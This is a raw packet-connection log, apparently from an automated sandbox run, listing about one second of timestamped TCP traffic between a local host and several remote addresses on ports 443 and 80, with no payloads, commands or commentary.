Nov 9, 2024 22:09:42.559834003 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.559892893 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.559910059 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.559921026 CET	49844	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.559931993 CET	443	49844	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.562669992 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.562693119 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.562769890 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.562787056 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.562828064 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.563011885 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.563049078 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.563129902 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.563318014 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.563328981 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.581265926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581281900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581291914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581305981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581327915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581330061 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.581340075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581351042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581362009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581362963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.581373930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581379890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.581392050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.581397057 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.581396103 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.581429958 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.581473112 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.581693888 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.581809044 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.581823111 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.581837893 CET	49847	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.581842899 CET	443	49847	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.582127094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.582294941 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.582364082 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.582668066 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.582694054 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.583116055 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.583123922 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.585573912 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.585601091 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.585760117 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.585926056 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.585942030 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.629093885 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.629179001 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.629386902 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.631591082 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.631613970 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.631628036 CET	49848	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.631633997 CET	443	49848	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.634452105 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.634486914 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.635179996 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.635309935 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.635325909 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.637135983 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.637161016 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.637219906 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.637243986 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.637478113 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.659769058 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.659796000 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.659841061 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.659877062 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.659897089 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.660471916 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.660545111 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.660550117 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.660561085 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.660624027 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.661670923 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.661684036 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.677578926 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.677769899 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.677864075 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.677994967 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.678002119 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.678016901 CET	49845	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.678020954 CET	443	49845	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.680520058 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.680557966 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.681190968 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.681422949 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.681433916 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.711124897 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.711258888 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.711384058 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.711419106 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.711433887 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.711445093 CET	49849	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.711448908 CET	443	49849	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.714104891 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.714137077 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.714206934 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.714461088 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.714468956 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.735696077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735723019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735740900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735752106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735754013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.735763073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735775948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735786915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735795021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.735821962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.735825062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735843897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735853910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735860109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.735866070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735887051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735894918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.735896111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.735935926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.736210108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.736258984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.736840963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.736923933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.752063036 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.752085924 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.752162933 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.752177954 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.752336025 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.794358015 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.794384003 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.794431925 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.794456959 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.794473886 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.794795036 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.851404905 CET	49855	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.851440907 CET	443	49855	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.851491928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.851505995 CET	49855	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.851545095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.851603031 CET	49856	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.851610899 CET	443	49856	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.851618052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.851628065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.851672888 CET	49856	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.851700068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.851700068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.852035999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.852047920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.852072954 CET	49855	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.852082968 CET	443	49855	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.852088928 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.852261066 CET	49856	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:42.852271080 CET	443	49856	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:42.852660894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.852674007 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.852705956 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.852721930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.853204012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.853214025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.853224993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.853256941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.853293896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.854017019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.854028940 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.854129076 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.854662895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.854674101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.854712009 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.854739904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.869061947 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.869103909 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.869144917 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.869167089 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.869198084 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.869220018 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.911998987 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.912015915 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.912065983 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.912085056 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.912112951 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.912141085 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.968241930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.968302011 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.968381882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.968393087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.968414068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.968430996 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.968816996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.968828917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.968882084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.969355106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.969407082 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.969517946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.969530106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.969541073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.969552994 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.969573975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.970256090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.970268011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.970278978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.970319986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.971204996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.971216917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.971229076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.971267939 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.971939087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.971950054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:42.971995115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:42.984474897 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.984555960 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:42.984569073 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.984620094 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.985734940 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:42.985747099 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.071611881 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.071636915 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.071651936 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.071718931 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.071733952 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.071778059 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.072357893 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.074536085 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.074593067 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.085061073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.085220098 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.085279942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.085292101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.085339069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.085493088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.085510015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.085521936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.085525990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.085556030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.086091995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.086103916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.086114883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.086148024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.086162090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.086664915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.086677074 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.086688042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.086708069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.086733103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.087357998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.087372065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.087397099 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.087413073 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.087753057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.087764978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.087824106 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.088352919 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.088407993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.154439926 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.154449940 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.154458046 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.154462099 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.201951981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202085018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202095985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202152014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.202378035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202389956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202423096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.202709913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202722073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.202763081 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.203159094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.203308105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.203326941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.203339100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.203351021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.203375101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.204111099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204122066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204133034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204144955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204181910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.204202890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.204898119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204910040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204921961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.204945087 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.204968929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.290357113 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.290914059 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.290946960 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.291424990 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.291430950 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.318991899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.319051027 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.319112062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.319125891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.319164038 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.319194078 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.319523096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.319535017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.319549084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.319562912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.319581985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.319598913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.320096016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.320107937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.320118904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.320135117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.320147991 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.320167065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.320673943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.320684910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.320703983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.320717096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.320730925 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.320746899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.321880102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.321892023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.321903944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.321916103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.321923971 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.321954012 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.324491024 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.330450058 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.330482960 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.331142902 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.331149101 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.483951092 CET	49857	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:43.483988047 CET	443	49857	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:43.484148026 CET	49857	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:43.484396935 CET	49858	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:43.484436035 CET	443	49858	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:43.484631062 CET	49858	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:43.484744072 CET	49857	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:43.484757900 CET	443	49857	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:43.484966040 CET	49858	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:43.484978914 CET	443	49858	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:43.686853886 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.686897993 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:43.687002897 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.687264919 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:43.687280893 CET	443	49859	40.126.32.72	192.168.2.5
